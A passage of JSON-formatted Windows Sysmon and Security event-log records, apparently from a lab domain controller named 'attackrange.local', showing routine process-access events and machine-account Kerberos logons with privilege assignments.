7 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4219,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221839,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FA34\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5fa34","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221840,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5FA34\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t0\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5fa34","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221841,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FA7E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5fa7e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221842,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5FA7E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t10.0.1.14\r\n\tSource Port:\t\t51429\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5fa7e","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"10.0.1.14","IpPort":"51429","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4220,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4221,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4222,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.426\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.426","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221843,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FAED\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5faed","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221844,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount 